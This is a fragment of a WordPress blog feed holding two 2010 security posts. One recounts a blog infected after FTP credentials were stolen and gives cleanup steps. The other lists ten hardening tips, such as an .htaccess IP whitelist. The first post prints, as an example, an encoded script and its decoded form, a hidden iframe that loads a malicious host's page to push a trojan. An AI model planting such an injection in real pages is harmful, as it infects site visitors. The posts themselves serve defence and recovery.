<div id="attachment_487" class="wp-caption aligncenter" style="width: 530px"><img class="size-full wp-image-487" title="Hacked WordPress Screenshot" src="http://samswebguide.com/wp-content/uploads/2010/03/hacked-screenshot.jpg" alt="Hacked WordPress Screenshot" width="520" height="394" /><p class="wp-caption-text">Hacked WordPress Screenshot</p></div>
<p style="text-align: center;">
<p>As you can see, everything&#8217;s all mixed up. When he tried to visit his blog through his web browser, his anti-virus software popped up with warnings that a trojan horse was found on the site and the site may be dangerous. This is when he realized that something had gone wrong; after the damage was already done.</p>
<h3><span style="color: #993300;">The Malicious Code</span></h3>
<p>He then decided to check his theme&#8217;s html files to find the source of the problem and here he found some code that he did not recognize because the malicious code was encrypted. Example below:</p>
<p><em>&lt;script language=”javascript”&gt;<strong>eval(unescape(“%64%6F%63%75%6D%65</strong></em></p>
<p>The hackers obviously encrypted a part of the line of code hoping to hide the true nature and purpose of the script. When decoded the code reads as follows:</p>
<p><em>&lt;script  language=”javascript”&gt;eval(unescape(“document.write(‘&lt;iframe  src=”http://xxxxxxxx.org/in.php” width=1 height=1  frameborder=0&gt;&lt;/iframe&gt;’);”))&lt;/script&gt;</em></p>
<p>The script was actually trying to call a malicious website to load on his website through a hidden frame. This website would automatically load a trojan horse virus in the his browser.<em> </em></p>
<h3><span style="color: #993300;">How Did The Script Get in the Html for his Blog?</span></h3>
<p>The next question is; how did this malicious code get into his blog in the first place? Answer: A virus on his local windows PC stole his FTP login credentials from his FTP client and then used the FTP client to remotely infect the site, considering that he used his FTP to directly access his blog&#8217;s directories. Typically, the php files with execution permission within the directories were infected, especially the plugin and theme files are the first targets.</p>
<h3><span style="color: #993300;">The Solution</span></h3>
<p>Here are some steps to take to remove an infestation:</p>
<p>1) Ensure that you have a robust anti-virus software on your PC that is updated. Run a complete scan of your entire computer system and ensure that all viruses are removed. I would recommend downloading <a title="Malwarebytes' Anti-Malware" href="http://www.malwarebytes.org/" target="_blank">Malwarebytes&#8217; Anti-Malware Software</a> to compliment your anti-virus software. This works very well.</p>
<p>2) In this scenario, it was only the default wordpress php files that were affected, so a fresh copy of the files were uploaded after removing the malicious ones from the hosting server.</p>
<p>3) <span style="color: #993300;"><span style="color: #000000;"> </span></span>Change local FTP passwords and ensure that the new ones are very complex. This is very important to do because normally after a malicious attack there is always an open &#8220;backdoor&#8221; that remains and the hacker can easily exploit this.</p>
<p>4) To be on the safe side, change your hosting account&#8217;s password as well as your site&#8217;s database password, whether it is Postgre or MySQL.</p>
<h3><span style="color: #993300;">PHP &amp; HTML Knowledge</span></h3>
<p>It is very important to know basic html and php because this will give you the benefit of recognizing suspicious activity and malicious code and I can&#8217;t stress this enough. A site such as <a title="Lynda Software Training" href="http://www.lynda.com" target="_blank">Lynda.com</a> provides amazing video tutorials that will definitely help you to grasp the basics and master programming languages if you&#8217;re seriously interested. They have helped me a lot.</p>
<h3><span style="color: #993300;">Prevention is Better Than Cure</span></h3>
<p>You may view a list of plugins and techniques that will help to prevent malicious attacks on one of my previous posts here: <span style="color: #000000;"><a href="../2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/">10  Simple Steps to Secure &amp; Protect your WordPress Blog</a></span></p>
<p><span style="color: #000000;">Some key points that are not in that post are:</span></p>
<p><span style="color: #000000;">1) </span>Do not save your login credentials in your FTP client.</p>
<p>2) Change all passwords on a monthly basis</p>
<p>3) Be carefull when downloading free plugins. It is best to download them from <a title="Free WordPress PLugins" href="http://wordpress.org/extend/plugins/" target="_blank">wordpress.org</a>.</p>
<p>4) Keep your anti-virus software updated</p>
<p>Please note that if your blog gets hacked, the symptoms and the  causes may be different from what had happened in the scenario described above..</p>
<p>If your wordpress blog gets hacked, don’t panic. Use the following  resources to recover your website:</p>
<h3><span style="color: #993300;">Additional Resources if you Suspect That You May Be Hacked</span></h3>
<p>1) Use <a title="Google Webmaster Tools - Malicious Code Detector" href="http://www.google.com/webmasters" target="_blank">Google Webmaster Tools</a> to detect malicious scripts.</p>
<p>2) Post the details of symptoms to 	the <a href="http://wordpress.org/support/" target="_blank">WordPress Community</a>, if you  notice any suspicious activities happening in your blog</p>
<p>3) If you decide to clean it up 	yourself, there is a good list of  steps to take, in <a href="http://codex.wordpress.org/FAQ_My_site_was_hacked" target="_blank">an article at  WordPress.org Codex</a>.</p>
<p>Please note that if your blog or other type of site gets hacked, the symptoms and the causes  may be different from what had happened in the scenario I presented.</p>
<p>I hope you found this post helpful and will take the steps to prevent the exploitation of your site / blog.</p>
<p><strong><span style="color: #000080;">Discussion: Have you ever been hacked? Leave a comment and tell us of your experiences. If you would like to have a more in-depth discussion on this topic, feel free to <a title="Contact Robyn" href="http://samswebguide.com/contact-sam/" target="_blank">contact me through here</a>.</span></strong></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-twitter">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=%2524%257Btitle%257D%2B-%2B%2524%257Bshort_link%257D&amp;service=7&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=5&amp;tags=&amp;ctype=" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=257&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-delicious">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=2&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=38&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-digg">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=3&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=40&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=88&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-blogengage">
			<a href="http://www.shareaholic.com/api/share/?title=Have+You+Ever+Been+Hacked%3F+Simple+Mistakes+to+Avoid+%26+How+to+Recover&amp;link=http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/&amp;notes=WordPress%20is%20the%20most%20popular%20blogging%20platform%20in%20the%20world%20with%20over%206%20Million%20downloads%20so%20far%20%28See%20why%20I%20like%20wordpress%20here%29%20and%20because%20its%20so%20popular%2C%20you%20know%20the%20bad%20guys%20will%20begin%20to%20target%20its%20users.%20Hacking%20is%20a%20very%20serious%20issue%20that%20can%20cripple%20any%20website%20and%20erase%20a%20hard%20earned%20sou&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=286&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Engage with this article!">Engage with this article!</a>
		</li>
</ul><div style="clear: both;"></div><div class="shr-getshr" style="visibility:hidden;font-size:10px !important"><a target="_blank" href="http://www.shareaholic.com/?src=pub">Get Shareaholic</a></div><div style="clear: both;"></div></div>

]]></content:encoded>
			<wfw:commentRss>http://samswebguide.com/2010/03/26/have-you-ever-been-hacked-simple-mistakes-to-avoid-how-to-recover/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
		<item>
		<title>10 Simple Steps to Secure &amp; Protect your WordPress Blog</title>
		<link>http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/</link>
		<comments>http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/#comments</comments>
		<pubDate>Sat, 20 Mar 2010 22:14:05 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Blogging & SEO]]></category>
		<category><![CDATA[Other Tutorials]]></category>
		<category><![CDATA[Security Tutorials]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[internet security]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[simple]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://samswebguide.com/?p=409</guid>
		<description><![CDATA[As of the beginning of 2009 there were approximately 133 Million blogs online. This is a pretty large market and also the perfect playground for unscrupulous persons who live for spamming, scamming and just creating malicious programs that can seriously compromise and disable unsuspecting sites. As wordpress blog owners, we need to do everything possible ...]]></description>
			<content:encoded><![CDATA[<p>As of the beginning of 2009 there were approximately <img class="alignright size-full wp-image-423" title="Secure &amp; Protect  WordPress" src="http://samswebguide.com/wp-content/uploads/2010/03/wordpress-secure.jpg" alt="Secure &amp; Protect WordPress" width="165" height="138" /><br />
133 Million blogs online. This is a pretty large market and also the perfect playground for unscrupulous persons who live for spamming, scamming and just creating malicious programs that can seriously compromise and disable unsuspecting sites. As wordpress blog owners, we need to do everything possible to ensure that our sites are never exploited.</p>
<p><span id="more-409"></span>Here are 10 very simple steps, tools and tips to ensure that your blog can withstand malicious attacks and not be overrun with spam.<strong></strong></p>
<h3><strong><span style="color: #993300;">1. Use the Login Lockdown Plugin</span></strong></h3>
<p>Hackers can easily crack your password and other login credentials by using Brute Force Attacks (<a title="Wikipedia - Brute Force Attacks" href="http://en.wikipedia.org/wiki/Brute_force_attack" target="_blank">Click here for a definition</a>). This plugin adds an extra security feature to WordPress by restricting the rate at which  failed logins can be re-attempted from a given IP range. This plugin can be downloaded from <a title="Login Lockdown Security" href="http://www.bad-neighborhood.com/" target="_blank">Bad Neighborhood</a></p>
<h3><span style="color: #993300;"><strong>2. Delete Unused Plugins </strong></span></h3>
<p><strong> </strong>Always ensure to delete unused plugins as these can provide loop holes that can be easily exploited<strong>.</strong></p>
<h3><span style="color: #993300;"><strong>3. Secure the /wp-admin/ Directory using .htaccess </strong></span></h3>
<p><strong> </strong>I found this one on google&#8217;s Matt Cutts&#8217; blog. Secure your /wp-admin/ directory by using a .htaccess file to allow access from specific IP addresses only. Create a new  .htaccess file, which you can place directly in /wp-admin/.htaccess.</p>
<p>This is what the .htaccess file contains:</p>
<blockquote><p>AuthUserFile /dev/null<br />
AuthGroupFile /dev/null<br />
AuthName “Access Control”<br />
AuthType Basic<br />
order deny,allow<br />
deny from all<br />
# whitelist home IP address<br />
allow from 111.111.111.111<br />
# whitelist work IP address<br />
allow from 111.111.111.111<br />
allow from 111.111.111.111</p></blockquote>
<p>Replace the 111.111.111.111 with the IPs you would like to whitelist. This  file says that the IP address 111.111.111.111 (and the other IP addresses whitelisted) are allowed to access /wp-admin/, but all other  IP addresses are denied access. The &#8216;#&#8217; lines are just notes and can be changed to suit your need.</p>
<h3><span style="color: #993300;"><strong>4. WordPress Security Scanner Plugin</strong></span></h3>
<p>Install this plugin to help detect any loop holes that may exist in your database and blog files. It provides a report on what needs to be done to prevent attacks. This one is very useful and can be downloaded here: <a title="Wordpress Security Scan" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://wordpress.org/extend/plugins/wp-security-scan/');" href="http://wordpress.org/extend/plugins/wp-security-scan/" target="_blank">WP-Security-Scan</a></p>
<h3><span style="color: #993300;"><strong>5. Limited Blog Registration Access </strong></span></h3>
<p>If your blog accepts registration, ensure that a user cannot immediately register and receive an administrative access. To change this, go to your Settings option in the wordpress dashboard, select General. Then change the New User Default Role to Contributor<strong>.</strong> This can easily be changed as the need arise.<strong> </strong>User privileges can also be assigned using the <a title="Role Manager Plugin" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://redalt.com/Resources/Plugins/Role+Manager');" href="http://redalt.com/Resources/Plugins/Role+Manager" target="_blank">Role-Manager</a> plugin.</p>
<h3><span style="color: #993300;"><strong>6. Change Your Login Name </strong></span></h3>
<p><strong> </strong>The default wordpress username is <em>admin</em> and hackers will always try to infiltrate using this default. So make it harder for them by changing it.</p>
<p>In your WordPress dashboard, go to <em>Users</em> and set up a new  user account. Give this new user <em>administrator</em> role. Log out  and log in again with the new user account.</p>
<p>Go to <em>Users</em> again. This time, check the box beside <em>admin</em> and press <em>Delete</em>.  When it asks for deletion confirmation,  select the “<em>Attribute all posts and links to:</em>” and select your  new username from the dropdown bar. This will transfer all the posts to  your new user account. Press <em>Confirm Deletion</em></p>
<h3><span style="color: #993300;"><strong>7. Use a Very Strong Password </strong></span></h3>
<p>Ensure that you use a strong password that is difficult for others to  guess. Use a combination of digits, special characters and upper/lower  case letters to form your password.</p>
<h3><span style="color: #993300;"><strong>8. Always Upgrade to the Latest WordPress Version </strong></span></h3>
<p><strong> </strong>The latest version of WordPress always contains bug fixes for any  security vulnerabilities, therefore it is very important to keep your blog updated at all times. The latest version at the time of this post is 2.9.2 and can be <a title="Wordpress 2.9.2" href="http://wordpress.org/download/" target="_blank">downloaded here</a><a onclick="javascript:pageTracker._trackPageview('/outbound/article/http://wordpress.org/download/');" href="http://wordpress.org/download/" target="_blank">.</a></p>
<h3><span style="color: #993300;"><strong>9. Install the Akismet Plugin</strong></span></h3>
<p>Once installed, Akismet checks  your comments against the Akismet web service to see if  they look like  spam or not and prevents them from being published. Spam is stored in a  separate folder where you can review all that is caught. This can be  downloaded from <a title="Akismet Anti-Spam" href="http://www.akismet.com/" target="_blank">Akismet.com</a></p>
<h3><span style="color: #993300;"><strong>10. Backup Your WordPress Database </strong></span></h3>
<p><strong></strong>There is a free plugin that can schedule backups of your database to reduce the risk of loss of data. This can be downloaded here<strong>: </strong><a title="Wordpress Database Backup" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://wordpress.org/extend/plugins/wp-db-backup/');" href="http://wordpress.org/extend/plugins/wp-db-backup/" target="_blank">WP-Database-Backup</a></p>
<p>Yeah, I know its a pretty tedious ToDo list but invest the time to secure a robust wordpress blog<strong>. </strong>It will cost 100 times more to recover from a malicious attack. Think about down-time, lost revenue, loss of trust from your readers, hiring a professional to get rid of malicious code, loss of information, loss of integrity and the list goes on forever.</p>
<h3><strong><span style="color: #333399;">Are you doing what it takes to secure and protect your presence online? If not, now is the time to do so. If you have any additional ideas on how to protect a wordpress blog please leave a comment to let us know.</span><br />
</strong></h3>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-twitter">
			<a href="http://www.shareaholic.com/api/share/?title=10+Simple+Steps+to+Secure+%26+Protect+your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/&amp;notes=As%20of%20the%20beginning%20of%202009%20there%20were%20approximately%20%0D%0A133%20Million%20blogs%20online.%20This%20is%20a%20pretty%20large%20market%20and%20also%20the%20perfect%20playground%20for%20unscrupulous%20persons%20who%20live%20for%20spamming%2C%20scamming%20and%20just%20creating%20malicious%20programs%20that%20can%20seriously%20compromise%20and%20disable%20unsuspecting%20sites.%20A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=%2524%257Btitle%257D%2B-%2B%2524%257Bshort_link%257D&amp;service=7&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.shareaholic.com/api/share/?title=10+Simple+Steps+to+Secure+%26+Protect+your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/&amp;notes=As%20of%20the%20beginning%20of%202009%20there%20were%20approximately%20%0D%0A133%20Million%20blogs%20online.%20This%20is%20a%20pretty%20large%20market%20and%20also%20the%20perfect%20playground%20for%20unscrupulous%20persons%20who%20live%20for%20spamming%2C%20scamming%20and%20just%20creating%20malicious%20programs%20that%20can%20seriously%20compromise%20and%20disable%20unsuspecting%20sites.%20A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=5&amp;tags=&amp;ctype=" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.shareaholic.com/api/share/?title=10+Simple+Steps+to+Secure+%26+Protect+your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/&amp;notes=As%20of%20the%20beginning%20of%202009%20there%20were%20approximately%20%0D%0A133%20Million%20blogs%20online.%20This%20is%20a%20pretty%20large%20market%20and%20also%20the%20perfect%20playground%20for%20unscrupulous%20persons%20who%20live%20for%20spamming%2C%20scamming%20and%20just%20creating%20malicious%20programs%20that%20can%20seriously%20compromise%20and%20disable%20unsuspecting%20sites.%20A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=257&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-delicious">
			<a href="http://www.shareaholic.com/api/share/?title=10+Simple+Steps+to+Secure+%26+Protect+your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/&amp;notes=As%20of%20the%20beginning%20of%202009%20there%20were%20approximately%20%0D%0A133%20Million%20blogs%20online.%20This%20is%20a%20pretty%20large%20market%20and%20also%20the%20perfect%20playground%20for%20unscrupulous%20persons%20who%20live%20for%20spamming%2C%20scamming%20and%20just%20creating%20malicious%20programs%20that%20can%20seriously%20compromise%20and%20disable%20unsuspecting%20sites.%20A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=2&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.shareaholic.com/api/share/?title=10+Simple+Steps+to+Secure+%26+Protect+your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/&amp;notes=As%20of%20the%20beginning%20of%202009%20there%20were%20approximately%20%0D%0A133%20Million%20blogs%20online.%20This%20is%20a%20pretty%20large%20market%20and%20also%20the%20perfect%20playground%20for%20unscrupulous%20persons%20who%20live%20for%20spamming%2C%20scamming%20and%20just%20creating%20malicious%20programs%20that%20can%20seriously%20compromise%20and%20disable%20unsuspecting%20sites.%20A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=38&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-digg">
			<a href="http://www.shareaholic.com/api/share/?title=10+Simple+Steps+to+Secure+%26+Protect+your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/&amp;notes=As%20of%20the%20beginning%20of%202009%20there%20were%20approximately%20%0D%0A133%20Million%20blogs%20online.%20This%20is%20a%20pretty%20large%20market%20and%20also%20the%20perfect%20playground%20for%20unscrupulous%20persons%20who%20live%20for%20spamming%2C%20scamming%20and%20just%20creating%20malicious%20programs%20that%20can%20seriously%20compromise%20and%20disable%20unsuspecting%20sites.%20A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=3&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://www.shareaholic.com/api/share/?title=10+Simple+Steps+to+Secure+%26+Protect+your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/&amp;notes=As%20of%20the%20beginning%20of%202009%20there%20were%20approximately%20%0D%0A133%20Million%20blogs%20online.%20This%20is%20a%20pretty%20large%20market%20and%20also%20the%20perfect%20playground%20for%20unscrupulous%20persons%20who%20live%20for%20spamming%2C%20scamming%20and%20just%20creating%20malicious%20programs%20that%20can%20seriously%20compromise%20and%20disable%20unsuspecting%20sites.%20A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=40&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.shareaholic.com/api/share/?title=10+Simple+Steps+to+Secure+%26+Protect+your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/&amp;notes=As%20of%20the%20beginning%20of%202009%20there%20were%20approximately%20%0D%0A133%20Million%20blogs%20online.%20This%20is%20a%20pretty%20large%20market%20and%20also%20the%20perfect%20playground%20for%20unscrupulous%20persons%20who%20live%20for%20spamming%2C%20scamming%20and%20just%20creating%20malicious%20programs%20that%20can%20seriously%20compromise%20and%20disable%20unsuspecting%20sites.%20A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=88&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-blogengage">
			<a href="http://www.shareaholic.com/api/share/?title=10+Simple+Steps+to+Secure+%26+Protect+your+Wordpress+Blog&amp;link=http://samswebguide.com/2010/03/20/10-simple-steps-to-secure-protect-your-wordpress-blog/&amp;notes=As%20of%20the%20beginning%20of%202009%20there%20were%20approximately%20%0D%0A133%20Million%20blogs%20online.%20This%20is%20a%20pretty%20large%20market%20and%20also%20the%20perfect%20playground%20for%20unscrupulous%20persons%20who%20live%20for%20spamming%2C%20scamming%20and%20just%20creating%20malicious%20programs%20that%20can%20seriously%20compromise%20and%20disable%20unsuspecting%20sites.%20A&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=286&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Engage with this article!">Engage with this article!</a>
		</li>
